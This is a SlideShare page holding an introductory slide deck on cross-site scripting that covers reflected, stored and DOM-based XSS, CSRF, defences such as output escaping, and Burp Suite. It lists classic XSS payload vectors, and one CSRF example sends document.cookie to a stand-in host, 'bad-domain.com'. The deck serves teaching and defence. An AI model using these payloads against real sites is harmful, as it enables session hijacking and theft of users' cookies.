SlideShare una empresa de Scribd logo
1 de 32
Descargar para leer sin conexión
Cross Site Scripting
(XSS)
by Irfad Imtiaz
What is XSS
Cross Site Scripting
XSS is a vulnerability which when present in
websites or web applications, allows malicious
users (Hackers) to insert their client side
code (normally JavaScript) in those web
pages. When this malicious code along with
the original webpage gets displayed in the
web client (browsers like IE, Mozilla etc),
allows Hackers to gain greater access of
XSS (-ve) effects
● stealing other user’s cookies
● stealing their private information
● performing actions on behalf of
other users
● redirecting to other websites
● Showing ads in hidden IFRAMES
and pop-ups       
How XSS works
Web server gets data from web client
(POST, GET, COOKIES etc) with the
request. So a malicious User can
include client side code snippets
(JavaScript) into the data. For example :
 
Amit<script>alert (‘this site
has been hacked’) ;</script>
XSS input
Note: This image has been created using Firebug and this XSS hole is not present in
google.com
XSS contd.
● Let’s assume Web server performs no
validation or filtration on this data.
● Now web server either saves this data +
XSS code to some persistent storage
(like database) or print this data back in
the HTML.
● When this XSS code, comes from server
along with HTML into the web client
XSS
Server
Hacker’s
Browser
http request
with XSS
JavaScript
Hacker’s
Browser
http response with
XSS JavaScript
XSS output
Note: This image has been created using Firebug and this XSS hole is not present in
google.com
XSS vectors
● <SCRIPT SRC=http://ha.ckers.org/xss.
js></SCRIPT>
● <IMG SRC=javascript:alert('XSS')>
● <IMG SRC=javascript:alert(&quot;XSS&quot;)>
● <IMG SRC=`javascript:alert("RSnake says,
'XSS'")`>
● <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
● <IMG SRC=javascript:alert(String.
fromCharCode(88,83,83))>
● <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;
&#114;&#105;&#112;&#116;&#58;&#97;&#108;
&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;
&#39;&#41;>
Type of XSS attacks
● Non-persistent
● Persistent
● DOM Based
Non-persistent
When XSS code only gets displayed in the next page
to the same user and not gets saved into persistent
storage like database. This type of attack is less
vulnerable, because Hacker can see only their own
cookies and can make modifications in their own
current opened pages. The risk with these kinds of
XSS holes is that it opens way for Cross Site
Request Forgery CSRF. CSRF allows a hacker to
place some links
Example : same as given previously to explain XSS 
CSRF
Cross-site request forgery
is a type of malicious exploit of a website whereby unauthorized
commands are transmitted from a user that the website trusts.
This can be done by placing some hidden links in some bad
website.
for example :
<img src="http://bank.example/withdraw?
account=bob<script>document.location=‘http://bad-domain.
com/store_data?cookie=‘ + document.cookie;</script>
CSRF
Bank Server
http response with CSRF
Link
Bad Server 1
Normal User’s
Browser
<img src="http://bank.
example/withdraw?
account=bob<script>d
ocument.location=
‘http://bad-domain.
com/store_data?
cookie=‘ + document.
cookie;</script>
Normal User’s
Browser
Bad Server 2
http response
with XSS
http request with
cookies
http request
with XSS
Persistent XSS
In persistent type of XSS attack, XSS code gets saved into
persistent storage like database with other data and then
it is visible to other users also. One example of this kind of
attacks is possible blog websites, where hacker can add their
XSS code along with the comment text and if no validation or
filtering is present on the server, XSS code can successfully
saved into the database. After this if anyone (other users)
open the page into their browsers, XSS code can execute and
can perform a variety of harmful actions. This type of attack is
more vulnerable, because Hacker can steal cookies and can
make modifications in the page. The risk with these kinds of
attacks is any third party hacker can use this vulnerability to
perform some actions on behalf of other users.
Persistent XSS – Step 1
Server
Hacker’s
Browser
http request
with XSS
JavaScript
Server saves XSS
code to DB
DB
Step 1
Persistent XSS – Step 2
Server
Hacker
Browser
http request
with XSS
JavaScript
Normal User
Browser
http response with
XSS JavaScript
DB
Step 2
Server saves XSS
code to DB
Persistent XSS
Note: This image has been created using Firebug and this XSS hole is not present in
blogger.com
DOM based attack
DOM Based XSS (or type-0 XSS) is an XSS attack wherein the attack
payload is executed as a result of modifying the DOM “environment” in the
victim’s browser used by the original client side script, so that the client
side code runs in an “unexpected” manner. That is, the page itself (the
HTTP response that is) does not change, but the client side code
contained in the page executes differently due to the malicious
modifications that have occurred in the DOM environment.
 
This is in contrast to other XSS attacks (stored or reflected), wherein the
attack payload is placed in the response page (due to a server side flaw).
 
Example
…
var pos = document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.
length));
Prevention
Never trust the
user input data
No matter where it’s coming from (
GET, POST, COOKIE etc.
Validation at client side
By performing client side (JavaScript) validation, before
submitting the data to server, helps only in usability aspect of the
website. It can’t provide any actual security, because user
can disable the JavaScript. Many JavaScript libraries and
frameworks are available for this.
For example in DOJO framework
 
<label for="firstName">First Name: </label>
<input type="text" id="firstName" name="firstName"
dojoType="dijit.form.ValidationTextBox"
required="true"
propercase="true"
promptMessage="Enter first name."
invalidMessage="First name is required."
trim="true”/><br>
Validation at server
By sanitizing the input data, we can
prevent the malicious code to enter in the
system.
Checking the proper data types helps in
cleaning the data. First of all we should
restrict numeric data for numeric fields and
only alphanumeric characters for text fields
 
White lists – Allow <strong>, <em> and
Escaping output at server
Problem characters can include < > " ‘  &.These
characters can be replaced with HTML character
entities.
For example, < can be replaced with &lt;.
 
5 Rules for escaping output
#1 - HTML Escape before inserting into element
content
#2 - Attribute Escape before inserting into
attributes
Escaping text before updating DOM at
client side
To avoid DOM based XSS attacks.
Web vulnerability scanner
Applications
These applications provide the developer
to test their web applications for
various types of vulnerabilities.
These applications allow navigating
through the web sites or web
applications and performing various
types of attacks (manual or automated).
Both free and commercial applications
Burp suite
● Burp suite allows an attacker to combine
manual and automated techniques to
enumerate, analyze, attack and exploit web
applications. The various burp tools work
together effectively to share information
and allow findings identified within one tool
to form the basis of an attack using
another.
● Download: http://portswigger.
Burp Tools
Proxy - an intercepting HTTP/S proxy server which operates as a man-in-the-middle
between the end browser and the target web application, allowing you to intercept,
inspect and modify the raw traffic passing in both directions.
Spider - an intelligent application-aware web spider which allows complete enumeration
of an application's content and functionality.
Scanner [Pro version only] - an advanced tool for performing automated discovery of
security vulnerabilities in web applications.
Intruder - a highly configurable tool for automating customized attacks against web
applications, such as enumerating identifiers, harvesting useful data, and fuzzing for
common vulnerabilities.
Repeater - a tool for manually manipulating and re-issuing individual HTTP requests, and
analyzing the application's responses.
Sequencer - a tool for analyzing the quality of randomness in an application's session
Burp Suite
How to use
● Run the application and set the browser
proxy to localhost: 8080
● Open any site and Burp will create a
sitemap tree in the left panel, as per the site
traversal.
● Select any URL from the tree and add it to
intruder.
● Add different type of payloads for attack, i.
e.
Questions
Refrences
● http://en.wikipedia.org
● http://ha.ckers.org/xss.html
● http://portswigger.net
Thank you
Stay Tuned
Stay Connected:
● Twitter.com/irfadimtiaz
● Facebook.com/irfadimtiaz
● slideshare.net/irfadimtiaz
● http://www.irfadimtiaz.com

Más contenido relacionado

La actualidad más candente

The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting GuideDaisuke_Dan
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharSandeep Kumbhar
 
Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Aman Singh
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application SecurityRob Ragan
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defensesMohammed A. Imran
 
Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17Sagar M Parmar
 
CSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVCCSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVCSuvash Shah
 
Secure coding practices
Secure coding practicesSecure coding practices
Secure coding practicesScott Hurrey
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site ScriptingAli Mattash
 
Web Application Security 101
Web Application Security 101Web Application Security 101
Web Application Security 101Jannis Kirschner
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionVishal Kumar
 
Web application security
Web application securityWeb application security
Web application securityKapil Sharma
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterMichael Coates
 
SQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationSQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationRapid Purple
 

La actualidad más candente (20)

The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting Guide
 
CSRF Basics
CSRF BasicsCSRF Basics
CSRF Basics
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
 
XSS - Attacks & Defense
XSS - Attacks & DefenseXSS - Attacks & Defense
XSS - Attacks & Defense
 
Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
Web security
Web securityWeb security
Web security
 
Xss (cross site scripting)
Xss (cross site scripting)Xss (cross site scripting)
Xss (cross site scripting)
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defenses
 
Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17
 
CSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVCCSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVC
 
Secure coding practices
Secure coding practicesSecure coding practices
Secure coding practices
 
Web Cache Poisoning
Web Cache PoisoningWeb Cache Poisoning
Web Cache Poisoning
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
 
Web Application Security 101
Web Application Security 101Web Application Security 101
Web Application Security 101
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
Web security
Web securityWeb security
Web security
 
Web application security
Web application securityWeb application security
Web application security
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
SQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationSQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint Presentation
 

Destacado

Lawyer in Vietnam Oliver Massmann Trans Pacific Partnership Agreement - Ratif...
Lawyer in Vietnam Oliver Massmann Trans Pacific Partnership Agreement - Ratif...Lawyer in Vietnam Oliver Massmann Trans Pacific Partnership Agreement - Ratif...
Lawyer in Vietnam Oliver Massmann Trans Pacific Partnership Agreement - Ratif...Dr. Oliver Massmann
 
NVM Lensink Gussinklo Makelaardij Presentatie
NVM Lensink Gussinklo Makelaardij PresentatieNVM Lensink Gussinklo Makelaardij Presentatie
NVM Lensink Gussinklo Makelaardij Presentatielensinkgussinklo
 
100 Text Loans, Text Loans
100 Text Loans, Text Loans100 Text Loans, Text Loans
100 Text Loans, Text Loans100Textloans
 
د. فوزية اخضر - تطبيق تجربة مدرسة المستقبل الشاملة - المعرض والمنتدى الدولي ل...
د. فوزية اخضر - تطبيق تجربة مدرسة المستقبل الشاملة - المعرض والمنتدى الدولي ل...د. فوزية اخضر - تطبيق تجربة مدرسة المستقبل الشاملة - المعرض والمنتدى الدولي ل...
د. فوزية اخضر - تطبيق تجربة مدرسة المستقبل الشاملة - المعرض والمنتدى الدولي ل...IEFE
 
World Economic Forum, la grande sciocchezza
World Economic Forum, la grande sciocchezzaWorld Economic Forum, la grande sciocchezza
World Economic Forum, la grande sciocchezzaMassimo Mucchetti
 
Plan Social Media Wawawiwa Design
Plan Social Media Wawawiwa DesignPlan Social Media Wawawiwa Design
Plan Social Media Wawawiwa DesignHumberto Isea
 
Social by Design REMIXED by Geoff Colon
Social by Design REMIXED by Geoff ColonSocial by Design REMIXED by Geoff Colon
Social by Design REMIXED by Geoff ColonGeoffrey Colon
 
Páginas Israelíticas – 3 – Amar las almas y no llorar
Páginas Israelíticas – 3 – Amar las almas y no llorarPáginas Israelíticas – 3 – Amar las almas y no llorar
Páginas Israelíticas – 3 – Amar las almas y no llorarAntonio García Megía
 
Policy Paper ESCENARIOS PROSPECTIVOS DE LA SEGURIDAD EN COLOMBIA FRENTE AL PR...
Policy Paper ESCENARIOS PROSPECTIVOS DE LA SEGURIDAD EN COLOMBIA FRENTE AL PR...Policy Paper ESCENARIOS PROSPECTIVOS DE LA SEGURIDAD EN COLOMBIA FRENTE AL PR...
Policy Paper ESCENARIOS PROSPECTIVOS DE LA SEGURIDAD EN COLOMBIA FRENTE AL PR...John Anzola
 
Non-technical risks and their impact on mining - Trench, Sykes & Packey - Oct...
Non-technical risks and their impact on mining - Trench, Sykes & Packey - Oct...Non-technical risks and their impact on mining - Trench, Sykes & Packey - Oct...
Non-technical risks and their impact on mining - Trench, Sykes & Packey - Oct...John Sykes
 
Jill Watson Instructional Approaches that Set SLIFE up to succeed (and are go...
Jill Watson Instructional Approaches that Set SLIFE up to succeed (and are go...Jill Watson Instructional Approaches that Set SLIFE up to succeed (and are go...
Jill Watson Instructional Approaches that Set SLIFE up to succeed (and are go...Jill Watson, Ph.D.
 
Tackling complexity in giant systems: approaches from several cloud providers
Tackling complexity in giant systems: approaches from several cloud providersTackling complexity in giant systems: approaches from several cloud providers
Tackling complexity in giant systems: approaches from several cloud providersPatrick Chanezon
 
Annualcycles mensual
Annualcycles mensualAnnualcycles mensual
Annualcycles mensualAlbert Pares
 
Encuesta Bogotá Cómo Vamos - Fragmento Canal Capital y Sec. Cultura
Encuesta Bogotá Cómo Vamos - Fragmento Canal Capital y Sec. CulturaEncuesta Bogotá Cómo Vamos - Fragmento Canal Capital y Sec. Cultura
Encuesta Bogotá Cómo Vamos - Fragmento Canal Capital y Sec. CulturaCanal Capital
 
MUDE SUA VIDA! COMO ESTÁ A SUA SAÚDE?
MUDE SUA VIDA! COMO ESTÁ A SUA SAÚDE?MUDE SUA VIDA! COMO ESTÁ A SUA SAÚDE?
MUDE SUA VIDA! COMO ESTÁ A SUA SAÚDE?Cristina do Vale
 

Destacado (20)

Lawyer in Vietnam Oliver Massmann Trans Pacific Partnership Agreement - Ratif...
Lawyer in Vietnam Oliver Massmann Trans Pacific Partnership Agreement - Ratif...Lawyer in Vietnam Oliver Massmann Trans Pacific Partnership Agreement - Ratif...
Lawyer in Vietnam Oliver Massmann Trans Pacific Partnership Agreement - Ratif...
 
NVM Lensink Gussinklo Makelaardij Presentatie
NVM Lensink Gussinklo Makelaardij PresentatieNVM Lensink Gussinklo Makelaardij Presentatie
NVM Lensink Gussinklo Makelaardij Presentatie
 
100 Text Loans, Text Loans
100 Text Loans, Text Loans100 Text Loans, Text Loans
100 Text Loans, Text Loans
 
د. فوزية اخضر - تطبيق تجربة مدرسة المستقبل الشاملة - المعرض والمنتدى الدولي ل...
د. فوزية اخضر - تطبيق تجربة مدرسة المستقبل الشاملة - المعرض والمنتدى الدولي ل...د. فوزية اخضر - تطبيق تجربة مدرسة المستقبل الشاملة - المعرض والمنتدى الدولي ل...
د. فوزية اخضر - تطبيق تجربة مدرسة المستقبل الشاملة - المعرض والمنتدى الدولي ل...
 
World Economic Forum, la grande sciocchezza
World Economic Forum, la grande sciocchezzaWorld Economic Forum, la grande sciocchezza
World Economic Forum, la grande sciocchezza
 
Plan Social Media Wawawiwa Design
Plan Social Media Wawawiwa DesignPlan Social Media Wawawiwa Design
Plan Social Media Wawawiwa Design
 
Puppetのススメ
PuppetのススメPuppetのススメ
Puppetのススメ
 
Social by Design REMIXED by Geoff Colon
Social by Design REMIXED by Geoff ColonSocial by Design REMIXED by Geoff Colon
Social by Design REMIXED by Geoff Colon
 
Páginas Israelíticas – 3 – Amar las almas y no llorar
Páginas Israelíticas – 3 – Amar las almas y no llorarPáginas Israelíticas – 3 – Amar las almas y no llorar
Páginas Israelíticas – 3 – Amar las almas y no llorar
 
Infoprop (1)
Infoprop (1)Infoprop (1)
Infoprop (1)
 
Buddhist Temple Dhammakaya Thai
Buddhist Temple Dhammakaya ThaiBuddhist Temple Dhammakaya Thai
Buddhist Temple Dhammakaya Thai
 
Policy Paper ESCENARIOS PROSPECTIVOS DE LA SEGURIDAD EN COLOMBIA FRENTE AL PR...
Policy Paper ESCENARIOS PROSPECTIVOS DE LA SEGURIDAD EN COLOMBIA FRENTE AL PR...Policy Paper ESCENARIOS PROSPECTIVOS DE LA SEGURIDAD EN COLOMBIA FRENTE AL PR...
Policy Paper ESCENARIOS PROSPECTIVOS DE LA SEGURIDAD EN COLOMBIA FRENTE AL PR...
 
Non-technical risks and their impact on mining - Trench, Sykes & Packey - Oct...
Non-technical risks and their impact on mining - Trench, Sykes & Packey - Oct...Non-technical risks and their impact on mining - Trench, Sykes & Packey - Oct...
Non-technical risks and their impact on mining - Trench, Sykes & Packey - Oct...
 
Jill Watson Instructional Approaches that Set SLIFE up to succeed (and are go...
Jill Watson Instructional Approaches that Set SLIFE up to succeed (and are go...Jill Watson Instructional Approaches that Set SLIFE up to succeed (and are go...
Jill Watson Instructional Approaches that Set SLIFE up to succeed (and are go...
 
Tackling complexity in giant systems: approaches from several cloud providers
Tackling complexity in giant systems: approaches from several cloud providersTackling complexity in giant systems: approaches from several cloud providers
Tackling complexity in giant systems: approaches from several cloud providers
 
Annualcycles mensual
Annualcycles mensualAnnualcycles mensual
Annualcycles mensual
 
Rahoitusvoimala
RahoitusvoimalaRahoitusvoimala
Rahoitusvoimala
 
Sexuality education in_europe
Sexuality education in_europeSexuality education in_europe
Sexuality education in_europe
 
Encuesta Bogotá Cómo Vamos - Fragmento Canal Capital y Sec. Cultura
Encuesta Bogotá Cómo Vamos - Fragmento Canal Capital y Sec. CulturaEncuesta Bogotá Cómo Vamos - Fragmento Canal Capital y Sec. Cultura
Encuesta Bogotá Cómo Vamos - Fragmento Canal Capital y Sec. Cultura
 
MUDE SUA VIDA! COMO ESTÁ A SUA SAÚDE?
MUDE SUA VIDA! COMO ESTÁ A SUA SAÚDE?MUDE SUA VIDA! COMO ESTÁ A SUA SAÚDE?
MUDE SUA VIDA! COMO ESTÁ A SUA SAÚDE?
 

Similar a Introduction to Cross Site Scripting ( XSS )

xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfyashvirsingh48
 
Xss 101 by-sai-shanthan
Xss 101 by-sai-shanthanXss 101 by-sai-shanthan
Xss 101 by-sai-shanthanRaghunath G
 
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET Journal
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingInMobi Technology
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
CROSS SITE SCRIPTING.ppt
CROSS SITE SCRIPTING.pptCROSS SITE SCRIPTING.ppt
CROSS SITE SCRIPTING.pptyashvirsingh48
 
XSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolXSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolArjun Jain
 
Secure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scriptingSecure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scriptingSecure Code Warrior
 
15 owasp top 10 - a3-xss
15   owasp top 10 - a3-xss15   owasp top 10 - a3-xss
15 owasp top 10 - a3-xssappsec
 
Understanding dom based xss
Understanding dom based xssUnderstanding dom based xss
Understanding dom based xssPotato
 
Web application attacks
Web application attacksWeb application attacks
Web application attackshruth
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
Attackers Vs Programmers
Attackers Vs ProgrammersAttackers Vs Programmers
Attackers Vs Programmersrobin_bene
 

Similar a Introduction to Cross Site Scripting ( XSS ) (20)

xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdf
 
Complete xss walkthrough
Complete xss walkthroughComplete xss walkthrough
Complete xss walkthrough
 
Xss 101
Xss 101Xss 101
Xss 101
 
Xss 101 by-sai-shanthan
Xss 101 by-sai-shanthanXss 101 by-sai-shanthan
Xss 101 by-sai-shanthan
 
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Session7-XSS & CSRF
Session7-XSS & CSRFSession7-XSS & CSRF
Session7-XSS & CSRF
 
SeanRobertsThesis
SeanRobertsThesisSeanRobertsThesis
SeanRobertsThesis
 
CROSS SITE SCRIPTING.ppt
CROSS SITE SCRIPTING.pptCROSS SITE SCRIPTING.ppt
CROSS SITE SCRIPTING.ppt
 
XSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolXSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing tool
 
Secure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scriptingSecure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scripting
 
15 owasp top 10 - a3-xss
15   owasp top 10 - a3-xss15   owasp top 10 - a3-xss
15 owasp top 10 - a3-xss
 
Understanding dom based xss
Understanding dom based xssUnderstanding dom based xss
Understanding dom based xss
 
Web application attacks
Web application attacksWeb application attacks
Web application attacks
 
XSS.pdf
XSS.pdfXSS.pdf
XSS.pdf
 
XSS.pdf
XSS.pdfXSS.pdf
XSS.pdf
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Attackers Vs Programmers
Attackers Vs ProgrammersAttackers Vs Programmers
Attackers Vs Programmers
 
Antiviruxss
AntiviruxssAntiviruxss
Antiviruxss
 

Último

How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxLoriGlavin3
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .Alan Dix
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionDilum Bandara
 
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxDigital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxLoriGlavin3
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024Stephanie Beckett
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 

Último (20)

DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
